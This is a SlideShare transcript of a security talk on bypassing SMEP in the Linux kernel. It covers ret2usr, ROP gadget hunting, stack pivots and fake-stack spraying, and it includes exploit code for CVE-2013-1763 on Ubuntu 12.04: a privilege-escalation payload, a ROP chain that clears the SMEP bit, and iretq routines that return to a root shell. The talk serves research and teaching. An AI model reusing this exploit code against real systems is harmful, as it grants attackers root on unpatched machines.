SlideShare a Scribd company logo
Practical SMEP bypass
techniques on Linux
Vitaly Nikolenko
@vnik5287
vnik@cyseclabs.com
Who am I?
• Vitaly - @vnik5287
• Security researcher
• Kernel exploit development
• Kernel hardening techniques
Agenda
• Introduction (ret2usr)
• SMEP bypass
• SMEP, ROP, Spraying
• CVE-2013-1763 (case study)
ret2usr
• Linux - kernel space on behalf of user space
model
• User space processes cannot access kernel
space
• Kernel space can access user space
• ret2usr - redirect corrupted code or data ptr to
code or data in user space
ret2usr
• Memory split
• 0 to TASK_SIZE for user-
space processes
• 47 bits minus one guard
page = 0x7FFFFFFFF000
• Corrupted function or data
struct pointer
• Redirect control flow to
escalate_privs() in usespace
Function ptr
Data struct ptr
((1UL << 47) - PAGE_SIZE)
escalate_privs()
Data struct
High mem addr
Low mem addr
Kernel space
User space
ret2usr
Option #1 - corrupted function ptr
• Find a function pointer to overwrite
• mmap privilege escalation payload in user space:
int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
commit_creds = 0xffffffffxxxxxxxx;
prepare_kernel_cred = 0xffffffffxxxxxxxx;
void escalate_privs() { commit_creds(prepare_kernel_cred(0)); }
• Trigger the function
ret2usr
Privilege escalation
• struct cred - basic unit of “credentials”
• prepare_kernel_cred - allocates and returns a
new struct cred
• commit_creds - applies the new credentials
ret2usr
Option #1 - corrupted function ptr
Function ptr
((1UL << 47) - PAGE_SIZE)
escalate_privs()
High mem addr
Low mem addr
Kernel space
User space
ret2usr
Option #1 - corrupted function ptr
• What function pointer to overwrite?
• ptmx_fops
• int fd = open("/dev/ptmx", O_RDWR);
• fsync(fd);
• perf_fops
• int fd = sys_perf_event_open(…);
• fsync(fd);
• grep -E ‘_ops$|_fops$’ /boot/System.map*
ret2usr
Option #2 - corrupted data struct ptr
• Create a fake data structure “A” in user space
• Overwrite the function ptr “A.ptr” with priv esc
code (also in user space)
• Trigger the function
ret2usr
Option #2 - corrupted data struct ptr
struct vuln_ops
*dptr;
((1UL << 47) - PAGE_SIZE)
struct vuln_ops {
void (*a)();
int b;
…
};
High mem addr
Low mem addr
Kernel space
User space
escalate_privs()
ret2usr
• When escalate_privs() completes:
• retq (stack is not modified)
• system(‘/bin/sh’) —> #
• clean exit
SMEP
SMEP
• Supervisor Mode Execution Protection
“The processor introduces a new mechanism that
provides next level of system protection by
blocking malicious software attacks from user
mode code when the system is running in the
highest privilege level.“ - 3rd Gen Intel Core
(Datasheet, Volume 1)

SMEP OOPS
SMEP
• Bit 20 (CR4 register) is set 1
• CR4 register value 0x1407f0 = 0001 0100 0000 0111 1111 0000
Intel® 64 and IA-32 Architectures
Software Developer’s Manual Vol 3
SMEP
• If CR4.SMEP = 1, instructions may not be
fetched from any user-mode address.
(according to Intel)
• CR4 register can be modified using standard
MOV instructions
• Clear the SMEP bit: mov $0x1407e0, %cr4
SMEP
• Check if SMEP is enabled:
• cat /proc/cpuinfo | grep smep # (no root required)
• Disable SMEP (“nosmep” kernel parameter)
• Hypervisors
• Xen, VMWare - SMEP support
• VirtualBox, Hyper-V - no SMEP support
• VMWare - virtualHW.version “8” or below - no SMEP support
AWS SMEP
instance created Jun/Jul 2014
AWS SMEP
instance created Jan 2015
ROPing
• vmlinux vs vmlinuz?
• Kernel debugging RPM, DEB, etc.
• https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux
• ./extract-vmlinux /boot/vmlinuz-… > elf.bin
• Finding gadgets
• objdump -d ./vmlinux (aligned addresses only)
• ROPgadget http://shell-storm.org/project/ROPgadget/
• ./ROPgadget.py --binary ./vmlinux > rop.txt # Intel syntax
ROPing
IA32 language density
• Almost any sequence of bytes can be
interpreted as an instruction
0f 94 c3; sete %bl
ROPing
IA32 language density
• Almost any sequence of bytes can be
interpreted as an instruction
0f 94 c3; sete %bl
94 c3; xchg eax, esp; ret
Stack Pivots
• mov %rsp, %rXx ; ret
• add %rsp, … ; ret
• xchg %rXx, %rsp ; ret
• xchg %eXx, %esp ; ret (on a 64-bit system)
• will land in user-mode memory
• rax = 0xffffffffdeadbeef; rsp <— 0xdeadbeef
Stack pivot - NX address
Exploit attempt? Why yes it is…
SMEP Bypass
struct vuln_ops
*dptr;
((1UL << 47) - PAGE_SIZE)
struct vuln_ops {
void (*a)();
int b;
…
};
High mem addr
Low mem addr
Kernel space
User space
escalate_privs()
stack pivot
FAKE STACK
ROP PAYLOAD
SMEP Bypass
struct vuln_ops
*dptr;
((1UL << 47) - PAGE_SIZE)
struct vuln_ops {
void (*a)();
int b;
…
};
High mem addr
Low mem addr
Kernel space
User space
escalate_privs()
stack pivot
FAKE STACK
ROP PAYLOAD
SMEP Bypass
struct vuln_ops
*dptr;
((1UL << 47) - PAGE_SIZE)
struct vuln_ops {
void (*a)();
int b;
…
};
High mem addr
Low mem addr
Kernel space
User space
escalate_privs()
stack pivot
FAKE STACK
ROP PAYLOAD
SMEP Bypass
struct vuln_ops
*dptr;
((1UL << 47) - PAGE_SIZE)
struct vuln_ops {
void (*a)();
int b;
…
};
High mem addr
Low mem addr
Kernel space
User space
escalate_privs()
stack pivot
FAKE STACK
ROP PAYLOAD
SMEP Bypass
• FAKE STACK payload
• Option #1: disable SMEP and execute
escalate_privs() in user space
• Option #2: disable SMEP and execute
commit_creds(prepare_kernel_cred(0)) using
ROP
SMEP Bypass
Option #1
POP XXX; RET
High mem addr
Low mem addr
CR4_VALUE ^
0xFFFFF
MOV XXX, CR4; RET
ESCALATE_PRIVS()
in userspace
CR4 register
• How to get the value of the CR4 register?
• Option #1 - hardcoded (0x1407f0)
• gdb - no support
• Look at kernel oops
• Option #2 - ROP chain
MOV %CR4, %REGISTER
XOR %REGISTER, $0xFFFFF
MOV %REGISTER, %CR4
Fake stack
• xchg %eax, %esp; ret
• rax = 0xffffffffdeadbeef; rsp <— 0xdeadbeef
• Prepare fake stack at 0xdeadbeef in
userspace
Fake stack
• What if we don’t control %rax or %eax when
pivoting?
• %rax <— random value
• Allocate ~4GB - mmap_min_addr to
0xFFFFFFFF and spray it with our ROP
payload
Fake stack
Spraying
ROP INSTR 1
0xFFFFFFFF
0x10000
ROP INSTR 2
ROP INSTR 3
…
ROP INSTR 1
ROP INSTR 2
ROP INSTR 3
…
Fake stack
Spraying
ROP INSTR 1
0xFFFFFFFF
0x10000
ROP INSTR 2
ROP INSTR 3
…
ROP INSTR 1
ROP INSTR 2
ROP INSTR 3
…
Fake stack
Spraying
• May land in the middle of our ROP payload
• Will likely page fault!
• An alternative is to spray the stack with an %rsp-
advancing gadget:
• pop %xxx; ret
• nop; ret
Fake stack
Spraying
POP RAX; RET
0xFFFFFFFF
0x10000
POP RAX; RET
POP RAX; RET
…
POP RAX; RET
ROP INSTR 1
ROP INSTR 2
ROP INSTR 3
…
PART 2 - CVE-2013-1763
Target
• Ubuntu 12.04.02
> uname -a
Linux ubuntu 3.5.0-23-generic #35~precise1-Ubuntu SMP
Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64
GNU/Linux
• Ivy Bridge+
CVE-2013-1763
SOCK_DIAG
• Affected kernel versions: 3.3 - 3.8
• Trivial out bounds array access
• Public exploit code available (32 bit?)
CVE-2013-1763
SOCK_DIAG
CVE-2013-1763
SOCK_DIAG
CVE-2013-1763
SOCK_DIAG
CVE-2013-1763
SOCK_DIAG
sock_diag_handl
ers[45]
((1UL << 47) - PAGE_SIZE)
struct
sock_diag_handler
{
__u8 family;
int (*dump)(void *a,
void *b);
};
High mem addr
Low mem addr
Kernel space
User space
0x1ad38
CVE-2013-1763
SOCK_DIAG
sock_diag_handl
ers[45]
((1UL << 47) - PAGE_SIZE)
struct
sock_diag_handler
{
__u8 family;
int (*dump)(void *a,
void *b);
};
High mem addr
Low mem addr
Kernel space
User space
0x1ad38
xchg %eax, %ebp
ret
0xffffffff81ad2c32
CVE-2013-1763
SOCK_DIAG
sock_diag_handl
ers[45]
((1UL << 47) - PAGE_SIZE)
FAKE STACK
High mem addr
Low mem addr
Kernel space
User space
0x1ad38
xchg %eax, %ebp
ret
0xffffffff81ad2c32
struct
sock_diag_handler
{
__u8 family;
int (*dump)(void *a,
void *b);
};
0x35000000
0x45000000
CVE-2013-1763
SOCK_DIAG
• Map the fakestack area in user-space:
• 0x35000000 - 0x45000000
• fakestack = mmap((void*)0x35000000, 0x10000000, 7|
PROT_EXEC|PROT_READ|PROT_WRITE, 0x32, 0, 0))
• Spray the fakestack with:
• pop rax; ret
for (int p = 0; p < 0x10000000/sizeof(void*); p++)
*fakestack ++= 0xffffffff8100ad9eUL; // pop rax; ret
CVE-2013-1763
SOCK_DIAG
ptr = (unsigned long *)(fakestack + 0x10000000 - 0x1000);
*fakestack ++= 0xffffffff8133dc8fUL; // pop rdi; ret
*fakestack ++= 0x407e0; // CLEAR SMEP BIT
*fakestack ++= 0xffffffff810032edUL; // mov cr4, rdi; pop rbp; ret
*fakestack ++= 0xdeadbeef; // dummy placeholder
*fakestack ++= (unsigned long)kernel_code; // transfer control to
our usual shellcode
CVE-2013-1763
SOCK_DIAG
• What about the stack ptr?
• iret it!
static void saveme() {
asm(
"movq %%cs, %0n"
"movq %%ss, %1n"
"pushfqn"
"popq %2n"
: "=r" (user_cs), "=r" (user_ss),
"=r" (user_rflags) : : "memory");
}
CVE-2013-1763
SOCK_DIAG
static void restore() {
asm volatile(
"swapgs ;"
"movq %0, 0x20(%%rsp)tn"
"movq %1, 0x18(%%rsp)tn"
"movq %2, 0x10(%%rsp)tn"
"movq %3, 0x08(%%rsp)tn"
"movq %4, 0x00(%%rsp)tn"
"iretq"
: : "r" (user_ss),
"r" ((unsigned long)0x36000000),
"r" (user_rflags),
"r" (user_cs),
"r" (shell)
);
}
DEMO - ROP BYPASS
Questions?
@vnik5287

More Related Content

What's hot (20)

PDF
Memory Mapping Implementation (mmap) in Linux Kernel
Adrian Huang
 
PDF
eBPF - Observability In Deep
Mydbops
 
PDF
Android IPC Mechanism
National Cheng Kung University
 
PPTX
Ansible presentation
Suresh Kumar
 
PPTX
eBPF Basics
Michael Kehoe
 
PDF
Launch the First Process in Linux System
Jian-Hong Pan
 
PDF
Introduction to yocto
Alex Gonzalez
 
PDF
Red Hat OpenStack 17 저자직강+스터디그룹_1주차
Nalee Jang
 
PDF
UM2019 Extended BPF: A New Type of Software
Brendan Gregg
 
PPTX
Understanding eBPF in a Hurry!
Ray Jenkins
 
PPTX
My sql failover test using orchestrator
YoungHeon (Roy) Kim
 
PDF
How to become an Eclipse committer in 20 minutes and fork the IDE
Lars Vogel
 
PDF
Java Performance Analysis on Linux with Flame Graphs
Brendan Gregg
 
PPTX
Slab Allocator in Linux Kernel
Adrian Huang
 
PDF
Velocity 2015 linux perf tools
Brendan Gregg
 
PDF
DockerCon 2017 - Cilium - Network and Application Security with BPF and XDP
Thomas Graf
 
PDF
Anatomy of a Container: Namespaces, cgroups & Some Filesystem Magic - LinuxCon
Jérôme Petazzoni
 
PDF
Red Hat OpenStack 17 저자직강+스터디그룹_3주차
Nalee Jang
 
PDF
BPF: Tracing and more
Brendan Gregg
 
PDF
eBPF Trace from Kernel to Userspace
SUSE Labs Taipei
 
Memory Mapping Implementation (mmap) in Linux Kernel
Adrian Huang
 
eBPF - Observability In Deep
Mydbops
 
Android IPC Mechanism
National Cheng Kung University
 
Ansible presentation
Suresh Kumar
 
eBPF Basics
Michael Kehoe
 
Launch the First Process in Linux System
Jian-Hong Pan
 
Introduction to yocto
Alex Gonzalez
 
Red Hat OpenStack 17 저자직강+스터디그룹_1주차
Nalee Jang
 
UM2019 Extended BPF: A New Type of Software
Brendan Gregg
 
Understanding eBPF in a Hurry!
Ray Jenkins
 
My sql failover test using orchestrator
YoungHeon (Roy) Kim
 
How to become an Eclipse committer in 20 minutes and fork the IDE
Lars Vogel
 
Java Performance Analysis on Linux with Flame Graphs
Brendan Gregg
 
Slab Allocator in Linux Kernel
Adrian Huang
 
Velocity 2015 linux perf tools
Brendan Gregg
 
DockerCon 2017 - Cilium - Network and Application Security with BPF and XDP
Thomas Graf
 
Anatomy of a Container: Namespaces, cgroups & Some Filesystem Magic - LinuxCon
Jérôme Petazzoni
 
Red Hat OpenStack 17 저자직강+스터디그룹_3주차
Nalee Jang
 
BPF: Tracing and more
Brendan Gregg
 
eBPF Trace from Kernel to Userspace
SUSE Labs Taipei
 

Similar to Linux SMEP bypass techniques (20)

PDF
Semtex.c [CVE-2013-2094] - A Linux Privelege Escalation
Kernel TLV
 
PPTX
Practical Windows Kernel Exploitation
zeroSteiner
 
PDF
Davide Berardi - Linux hardening and security measures against Memory corruption
linuxlab_conf
 
PPTX
Metasploit & Windows Kernel Exploitation
zeroSteiner
 
PPTX
Back to the CORE
Peter Hlavaty
 
PDF
[ENG] Hacktivity 2013 - Alice in eXploitland
Zoltan Balazs
 
PDF
Jaime Peñalba - Kernel exploitation. ¿El octavo arte? [rooted2019]
RootedCON
 
PDF
Wrangling with the Ghost: An Inside Story of Mitigating Speculative Execution...
Priyanka Aash
 
PPTX
Attack on the Core
Peter Hlavaty
 
PPTX
Guardians of your CODE
Peter Hlavaty
 
PPTX
Libra : A Compatible Method for Defending Against Arbitrary Memory Overwrite
Jeremy Haung
 
PPTX
Meltdown and Spectre
yeokm1
 
PDF
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON
 
PDF
Exploiting the Linux Kernel via Intel's SYSRET Implementation
nkslides
 
PDF
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NoSuchCon
 
PDF
Exploiting Llinux Environment
Enrico Scapin
 
PDF
AllBits presentation - Lower Level SW Security
AllBits BVBA (freelancer)
 
PDF
Unix executable buffer overflow
Ammarit Thongthua ,CISSP CISM GXPN CSSLP CCNP
 
PPT
Georgy Nosenko - An introduction to the use SMT solvers for software security
DefconRussia
 
PDF
Linux Kernel Exploitation
Scio Security
 
Semtex.c [CVE-2013-2094] - A Linux Privelege Escalation
Kernel TLV
 
Practical Windows Kernel Exploitation
zeroSteiner
 
Davide Berardi - Linux hardening and security measures against Memory corruption
linuxlab_conf
 
Metasploit & Windows Kernel Exploitation
zeroSteiner
 
Back to the CORE
Peter Hlavaty
 
[ENG] Hacktivity 2013 - Alice in eXploitland
Zoltan Balazs
 
Jaime Peñalba - Kernel exploitation. ¿El octavo arte? [rooted2019]
RootedCON
 
Wrangling with the Ghost: An Inside Story of Mitigating Speculative Execution...
Priyanka Aash
 
Attack on the Core
Peter Hlavaty
 
Guardians of your CODE
Peter Hlavaty
 
Libra : A Compatible Method for Defending Against Arbitrary Memory Overwrite
Jeremy Haung
 
Meltdown and Spectre
yeokm1
 
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON
 
Exploiting the Linux Kernel via Intel's SYSRET Implementation
nkslides
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NoSuchCon
 
Exploiting Llinux Environment
Enrico Scapin
 
AllBits presentation - Lower Level SW Security
AllBits BVBA (freelancer)
 
Unix executable buffer overflow
Ammarit Thongthua ,CISSP CISM GXPN CSSLP CCNP
 
Georgy Nosenko - An introduction to the use SMT solvers for software security
DefconRussia
 
Linux Kernel Exploitation
Scio Security
 
Ad

Recently uploaded (20)

PPTX
Role_of_Artificial_Intelligence_in_Livestock_Extension_Services.pptx
DrRajdeepMadavi
 
PDF
“Squinting Vision Pipelines: Detecting and Correcting Errors in Vision Models...
Edge AI and Vision Alliance
 
PDF
Modern Decentralized Application Architectures.pdf
Kalema Edgar
 
PPTX
Agentforce World Tour Toronto '25 - Supercharge MuleSoft Development with Mod...
Alexandra N. Martinez
 
PDF
“Computer Vision at Sea: Automated Fish Tracking for Sustainable Fishing,” a ...
Edge AI and Vision Alliance
 
DOCX
Python coding for beginners !! Start now!#
Rajni Bhardwaj Grover
 
PDF
🚀 Let’s Build Our First Slack Workflow! 🔧.pdf
SanjeetMishra29
 
PDF
Kit-Works Team Study_20250627_한달만에만든사내서비스키링(양다윗).pdf
Wonjun Hwang
 
PDF
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
PDF
Linux schedulers for fun and profit with SchedKit
Alessio Biancalana
 
PDF
“NPU IP Hardware Shaped Through Software and Use-case Analysis,” a Presentati...
Edge AI and Vision Alliance
 
PDF
Automating Feature Enrichment and Station Creation in Natural Gas Utility Net...
Safe Software
 
PDF
“Voice Interfaces on a Budget: Building Real-time Speech Recognition on Low-c...
Edge AI and Vision Alliance
 
PPTX
Agentforce World Tour Toronto '25 - MCP with MuleSoft
Alexandra N. Martinez
 
PDF
NASA A Researcher’s Guide to International Space Station : Fundamental Physics
Dr. PANKAJ DHUSSA
 
PPTX
Digital Circuits, important subject in CS
contactparinay1
 
PDF
Transcript: Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
PDF
Evolution: How True AI is Redefining Safety in Industry 4.0
vikaassingh4433
 
PPTX
Mastering ODC + Okta Configuration - Chennai OSUG
HathiMaryA
 
PPTX
Securing Model Context Protocol with Keycloak: AuthN/AuthZ for MCP Servers
Hitachi, Ltd. OSS Solution Center.
 
Role_of_Artificial_Intelligence_in_Livestock_Extension_Services.pptx
DrRajdeepMadavi
 
“Squinting Vision Pipelines: Detecting and Correcting Errors in Vision Models...
Edge AI and Vision Alliance
 
Modern Decentralized Application Architectures.pdf
Kalema Edgar
 
Agentforce World Tour Toronto '25 - Supercharge MuleSoft Development with Mod...
Alexandra N. Martinez
 
“Computer Vision at Sea: Automated Fish Tracking for Sustainable Fishing,” a ...
Edge AI and Vision Alliance
 
Python coding for beginners !! Start now!#
Rajni Bhardwaj Grover
 
🚀 Let’s Build Our First Slack Workflow! 🔧.pdf
SanjeetMishra29
 
Kit-Works Team Study_20250627_한달만에만든사내서비스키링(양다윗).pdf
Wonjun Hwang
 
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
Linux schedulers for fun and profit with SchedKit
Alessio Biancalana
 
“NPU IP Hardware Shaped Through Software and Use-case Analysis,” a Presentati...
Edge AI and Vision Alliance
 
Automating Feature Enrichment and Station Creation in Natural Gas Utility Net...
Safe Software
 
“Voice Interfaces on a Budget: Building Real-time Speech Recognition on Low-c...
Edge AI and Vision Alliance
 
Agentforce World Tour Toronto '25 - MCP with MuleSoft
Alexandra N. Martinez
 
NASA A Researcher’s Guide to International Space Station : Fundamental Physics
Dr. PANKAJ DHUSSA
 
Digital Circuits, important subject in CS
contactparinay1
 
Transcript: Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
Evolution: How True AI is Redefining Safety in Industry 4.0
vikaassingh4433
 
Mastering ODC + Okta Configuration - Chennai OSUG
HathiMaryA
 
Securing Model Context Protocol with Keycloak: AuthN/AuthZ for MCP Servers
Hitachi, Ltd. OSS Solution Center.
 
Ad

Linux SMEP bypass techniques

  • 1. Practical SMEP bypass techniques on Linux Vitaly Nikolenko @vnik5287 [email protected]
  • 2. Who am I? • Vitaly - @vnik5287 • Security researcher • Kernel exploit development • Kernel hardening techniques
  • 3. Agenda • Introduction (ret2usr) • SMEP bypass • SMEP, ROP, Spraying • CVE-2013-1763 (case study)
  • 4. ret2usr • Linux - kernel space on behalf of user space model • User space processes cannot access kernel space • Kernel space can access user space • ret2usr - redirect corrupted code or data ptr to code or data in user space
  • 5. ret2usr • Memory split • 0 to TASK_SIZE for user- space processes • 47 bits minus one guard page = 0x7FFFFFFFF000 • Corrupted function or data struct pointer • Redirect control flow to escalate_privs() in usespace Function ptr Data struct ptr ((1UL << 47) - PAGE_SIZE) escalate_privs() Data struct High mem addr Low mem addr Kernel space User space
  • 6. ret2usr Option #1 - corrupted function ptr • Find a function pointer to overwrite • mmap privilege escalation payload in user space: int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); commit_creds = 0xffffffffxxxxxxxx; prepare_kernel_cred = 0xffffffffxxxxxxxx; void escalate_privs() { commit_creds(prepare_kernel_cred(0)); } • Trigger the function
  • 7. ret2usr Privilege escalation • struct cred - basic unit of “credentials” • prepare_kernel_cred - allocates and returns a new struct cred • commit_creds - applies the new credentials
  • 8. ret2usr Option #1 - corrupted function ptr Function ptr ((1UL << 47) - PAGE_SIZE) escalate_privs() High mem addr Low mem addr Kernel space User space
  • 9. ret2usr Option #1 - corrupted function ptr • What function pointer to overwrite? • ptmx_fops • int fd = open("/dev/ptmx", O_RDWR); • fsync(fd); • perf_fops • int fd = sys_perf_event_open(…); • fsync(fd); • grep -E ‘_ops$|_fops$’ /boot/System.map*
  • 10. ret2usr Option #2 - corrupted data struct ptr • Create a fake data structure “A” in user space • Overwrite the function ptr “A.ptr” with priv esc code (also in user space) • Trigger the function
  • 11. ret2usr Option #2 - corrupted data struct ptr struct vuln_ops *dptr; ((1UL << 47) - PAGE_SIZE) struct vuln_ops { void (*a)(); int b; … }; High mem addr Low mem addr Kernel space User space escalate_privs()
  • 12. ret2usr • When escalate_privs() completes: • retq (stack is not modified) • system(‘/bin/sh’) —> # • clean exit
  • 13. SMEP
  • 14. SMEP • Supervisor Mode Execution Protection “The processor introduces a new mechanism that provides next level of system protection by blocking malicious software attacks from user mode code when the system is running in the highest privilege level.“ - 3rd Gen Intel Core (Datasheet, Volume 1)

  • 16. SMEP • Bit 20 (CR4 register) is set 1 • CR4 register value 0x1407f0 = 0001 0100 0000 0111 1111 0000 Intel® 64 and IA-32 Architectures Software Developer’s Manual Vol 3
  • 17. SMEP • If CR4.SMEP = 1, instructions may not be fetched from any user-mode address. (according to Intel) • CR4 register can be modified using standard MOV instructions • Clear the SMEP bit: mov $0x1407e0, %cr4
  • 18. SMEP • Check if SMEP is enabled: • cat /proc/cpuinfo | grep smep # (no root required) • Disable SMEP (“nosmep” kernel parameter) • Hypervisors • Xen, VMWare - SMEP support • VirtualBox, Hyper-V - no SMEP support • VMWare - virtualHW.version “8” or below - no SMEP support
  • 21. ROPing • vmlinux vs vmlinuz? • Kernel debugging RPM, DEB, etc. • https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux • ./extract-vmlinux /boot/vmlinuz-… > elf.bin • Finding gadgets • objdump -d ./vmlinux (aligned addresses only) • ROPgadget http://shell-storm.org/project/ROPgadget/ • ./ROPgadget.py --binary ./vmlinux > rop.txt # Intel syntax
  • 22. ROPing IA32 language density • Almost any sequence of bytes can be interpreted as an instruction 0f 94 c3; sete %bl
  • 23. ROPing IA32 language density • Almost any sequence of bytes can be interpreted as an instruction 0f 94 c3; sete %bl 94 c3; xchg eax, esp; ret
  • 24. Stack Pivots • mov %rsp, %rXx ; ret • add %rsp, … ; ret • xchg %rXx, %rsp ; ret • xchg %eXx, %esp ; ret (on a 64-bit system) • will land in user-mode memory • rax = 0xffffffffdeadbeef; rsp <— 0xdeadbeef
  • 25. Stack pivot - NX address Exploit attempt? Why yes it is…
  • 26. SMEP Bypass struct vuln_ops *dptr; ((1UL << 47) - PAGE_SIZE) struct vuln_ops { void (*a)(); int b; … }; High mem addr Low mem addr Kernel space User space escalate_privs() stack pivot FAKE STACK ROP PAYLOAD
  • 27. SMEP Bypass struct vuln_ops *dptr; ((1UL << 47) - PAGE_SIZE) struct vuln_ops { void (*a)(); int b; … }; High mem addr Low mem addr Kernel space User space escalate_privs() stack pivot FAKE STACK ROP PAYLOAD
  • 28. SMEP Bypass struct vuln_ops *dptr; ((1UL << 47) - PAGE_SIZE) struct vuln_ops { void (*a)(); int b; … }; High mem addr Low mem addr Kernel space User space escalate_privs() stack pivot FAKE STACK ROP PAYLOAD
  • 29. SMEP Bypass struct vuln_ops *dptr; ((1UL << 47) - PAGE_SIZE) struct vuln_ops { void (*a)(); int b; … }; High mem addr Low mem addr Kernel space User space escalate_privs() stack pivot FAKE STACK ROP PAYLOAD
  • 30. SMEP Bypass • FAKE STACK payload • Option #1: disable SMEP and execute escalate_privs() in user space • Option #2: disable SMEP and execute commit_creds(prepare_kernel_cred(0)) using ROP
  • 31. SMEP Bypass Option #1 POP XXX; RET High mem addr Low mem addr CR4_VALUE ^ 0xFFFFF MOV XXX, CR4; RET ESCALATE_PRIVS() in userspace
  • 32. CR4 register • How to get the value of the CR4 register? • Option #1 - hardcoded (0x1407f0) • gdb - no support • Look at kernel oops • Option #2 - ROP chain MOV %CR4, %REGISTER XOR %REGISTER, $0xFFFFF MOV %REGISTER, %CR4
  • 33. Fake stack • xchg %eax, %esp; ret • rax = 0xffffffffdeadbeef; rsp <— 0xdeadbeef • Prepare fake stack at 0xdeadbeef in userspace
  • 34. Fake stack • What if we don’t control %rax or %eax when pivoting? • %rax <— random value • Allocate ~4GB - mmap_min_addr to 0xFFFFFFFF and spray it with our ROP payload
  • 35. Fake stack Spraying ROP INSTR 1 0xFFFFFFFF 0x10000 ROP INSTR 2 ROP INSTR 3 … ROP INSTR 1 ROP INSTR 2 ROP INSTR 3 …
  • 36. Fake stack Spraying ROP INSTR 1 0xFFFFFFFF 0x10000 ROP INSTR 2 ROP INSTR 3 … ROP INSTR 1 ROP INSTR 2 ROP INSTR 3 …
  • 37. Fake stack Spraying • May land in the middle of our ROP payload • Will likely page fault! • An alternative is to spray the stack with an %rsp- advancing gadget: • pop %xxx; ret • nop; ret
  • 38. Fake stack Spraying POP RAX; RET 0xFFFFFFFF 0x10000 POP RAX; RET POP RAX; RET … POP RAX; RET ROP INSTR 1 ROP INSTR 2 ROP INSTR 3 …
  • 39. PART 2 - CVE-2013-1763
  • 40. Target • Ubuntu 12.04.02 > uname -a Linux ubuntu 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:13:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux • Ivy Bridge+
  • 41. CVE-2013-1763 SOCK_DIAG • Affected kernel versions: 3.3 - 3.8 • Trivial out bounds array access • Public exploit code available (32 bit?)
  • 45. CVE-2013-1763 SOCK_DIAG sock_diag_handl ers[45] ((1UL << 47) - PAGE_SIZE) struct sock_diag_handler { __u8 family; int (*dump)(void *a, void *b); }; High mem addr Low mem addr Kernel space User space 0x1ad38
  • 46. CVE-2013-1763 SOCK_DIAG sock_diag_handl ers[45] ((1UL << 47) - PAGE_SIZE) struct sock_diag_handler { __u8 family; int (*dump)(void *a, void *b); }; High mem addr Low mem addr Kernel space User space 0x1ad38 xchg %eax, %ebp ret 0xffffffff81ad2c32
  • 47. CVE-2013-1763 SOCK_DIAG sock_diag_handl ers[45] ((1UL << 47) - PAGE_SIZE) FAKE STACK High mem addr Low mem addr Kernel space User space 0x1ad38 xchg %eax, %ebp ret 0xffffffff81ad2c32 struct sock_diag_handler { __u8 family; int (*dump)(void *a, void *b); }; 0x35000000 0x45000000
  • 48. CVE-2013-1763 SOCK_DIAG • Map the fakestack area in user-space: • 0x35000000 - 0x45000000 • fakestack = mmap((void*)0x35000000, 0x10000000, 7| PROT_EXEC|PROT_READ|PROT_WRITE, 0x32, 0, 0)) • Spray the fakestack with: • pop rax; ret for (int p = 0; p < 0x10000000/sizeof(void*); p++) *fakestack ++= 0xffffffff8100ad9eUL; // pop rax; ret
  • 49. CVE-2013-1763 SOCK_DIAG ptr = (unsigned long *)(fakestack + 0x10000000 - 0x1000); *fakestack ++= 0xffffffff8133dc8fUL; // pop rdi; ret *fakestack ++= 0x407e0; // CLEAR SMEP BIT *fakestack ++= 0xffffffff810032edUL; // mov cr4, rdi; pop rbp; ret *fakestack ++= 0xdeadbeef; // dummy placeholder *fakestack ++= (unsigned long)kernel_code; // transfer control to our usual shellcode
  • 50. CVE-2013-1763 SOCK_DIAG • What about the stack ptr? • iret it! static void saveme() { asm( "movq %%cs, %0n" "movq %%ss, %1n" "pushfqn" "popq %2n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); }
  • 51. CVE-2013-1763 SOCK_DIAG static void restore() { asm volatile( "swapgs ;" "movq %0, 0x20(%%rsp)tn" "movq %1, 0x18(%%rsp)tn" "movq %2, 0x10(%%rsp)tn" "movq %3, 0x08(%%rsp)tn" "movq %4, 0x00(%%rsp)tn" "iretq" : : "r" (user_ss), "r" ((unsigned long)0x36000000), "r" (user_rflags), "r" (user_cs), "r" (shell) ); }
  • 52. DEMO - ROP BYPASS